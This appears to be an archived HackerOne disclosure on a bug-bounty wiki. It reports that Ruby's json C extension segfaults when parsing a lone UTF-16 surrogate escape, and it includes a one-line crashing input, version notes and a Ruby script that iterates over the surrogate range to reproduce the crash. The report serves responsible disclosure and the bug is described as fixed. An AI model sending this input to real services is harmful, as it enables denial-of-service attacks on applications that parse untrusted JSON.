Skip to content
Memory corruption Disclosed report Intermediate

Parsing invalid unicode codepoints using json c extension (2.0.1+) triggers a segfault

The Ruby json extension crashes with a segmentation fault when parsing a string containing a lone UTF-16 surrogate escape sequence. An attacker could cause a denial of service by sending such input to any application that calls JSON.parse on untrusted data.

dgollahon Follow

Originally disclosed on HackerOne

Informational View original
  • Fixed in 3 months
  • Disclosed after 9 months

Using the default json library packaged with ruby, one can trigger a segmentation fault by submitting a string with a unicode escape sequence in the range between \ud800-\udbff (https://en.wikipedia.org/wiki/UTF-16#U.2BD800_to_U.2BDFFF).

This is can lead to a denial of service attack by segmentation fault and could be a possible point of memory corruption or remote code execution. Any program that calls JSON.parse on untrusted input (which is, of course, exceedingly common in web APIs/apps) is affected. I have also reproduced this bug on a private API server I control.

Minimal reproduction:

Ruby
require 'json'; JSON.parse('"\ud800"')

The resulting segfault output and crash report are attached.

Tested in 2.3.3 and 2.4.0. Does NOT occur in 2.2.5.

In 2.3.3 and 2.4.0, if json/pure is required, an error is raised instead of a segmentation fault.

Ruby
require 'json/pure'; JSON.parse('"\ud800"') # => JSON::ParserError: Caught Encoding::InvalidByteSequenceError at '': incomplete "\xD8\x00" on UTF-16BE

Additionally, if you append 6 valid characters after the escape sequence, the escaped value is replaced with '?' and the following character is destroyed (surprising behavior, but no segfault).

Ruby
require 'json';
JSON.parse('"\ud800123456"') #  => "?23456"
2.3.3 :006 > JSON.parse('"\ud800\ud800123456"') # => "๐€€123456"
2.3.3 :007 > JSON.parse('"\ud800\ud800\ud800123456"') # => "๐€€?23456"

In 2.2.5, bare values are not accepted so testing this requires using a key or string value inside a json object as shown below:

Ruby
require "json"; p JSON.parse("{\"key\":\"#{"\\u" + format("%.04x", 56296)}\"}") # => {"key"=>nil}

In this case the result is nil. Instead, it should likely be an encoding error.

Script I used to iterate over all the codepoints in the range to verify it was not only a handful of specific values:

Ruby
# gem 'json', '2.0.1'
# gem 'json', '2.0.2'
# gem 'json', '2.0.3'
require 'json'

# or 0...1<<16 to explore the entire range
(0xd800..0xdbff).each do |i|
  uni = '\u' + format("%.04x", i)

  program = "require 'json'; JSON.parse('\\\"#{uni}\\\"')"
  system("ruby -e \"#{program}\"")

  status = $?.to_i
  if status != 0
    puts "#{uni} -> exit status #{status}"
  end
end

The original report as published on HackerOne, by dgollahon. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the C extension does not properly validate or handle lone UTF-16 surrogate escape sequences, leading to a segmentation fault.

Impact

This can lead to a denial of service attack by segmentation fault and could be a possible point of memory corruption or remote code execution.

What the attacker needed

Application parses untrusted JSON with the json gem

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

JSON is a common data format, and Ruby's json library parses it. A surrogate is a special code unit used in UTF-16 encoding; a lone surrogate is invalid. The parser mishandles this invalid input and crashes the whole program, which an attacker can use to take a service down.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More from Ruby

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.